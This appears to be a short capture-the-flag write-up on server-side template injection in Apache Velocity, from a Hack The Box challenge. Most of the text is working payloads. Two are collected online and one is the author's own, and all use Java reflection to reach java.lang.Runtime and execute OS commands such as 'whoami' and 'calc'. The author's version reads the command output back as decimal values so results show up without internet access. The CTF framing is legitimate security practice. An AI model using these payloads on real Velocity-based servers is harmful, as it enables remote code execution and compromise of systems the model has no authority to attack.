I have been working on a challenge on HTB these days, which involves Velocity SSTI. After trying various payloads found online, I discovered that they all have different drawbacks or are basically unusable. Therefore, I am documenting my own payload that can achieve echo.
The challenge provides the source code, which obviously contains SSTI.
Payload 1 found online:
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")
This payload uses reflection to get the runtime, but it does not achieve echo. It is not useful in the environment of this target machine without internet access.
Payload 2:
This is the payload provided by hacktrick, which theoretically achieves echo.
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
The $class and $inspect in this payload have significant limitations and cannot achieve RCE in this challenge.
Based on Payload 1, achieving echo through reflection:
#set($f="e".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc"))
#set($a=$f.waitFor())
#set($out=$f.getInputStream())
#set($str="e".getClass().forName("java.lang.String"))
$str.newInstance().valueOf($out.read())
$str.newInstance().valueOf($out.read())
The echo produced by this payload is given in decimal format. You can either use CyberChef to convert it or write a loop to convert it to characters.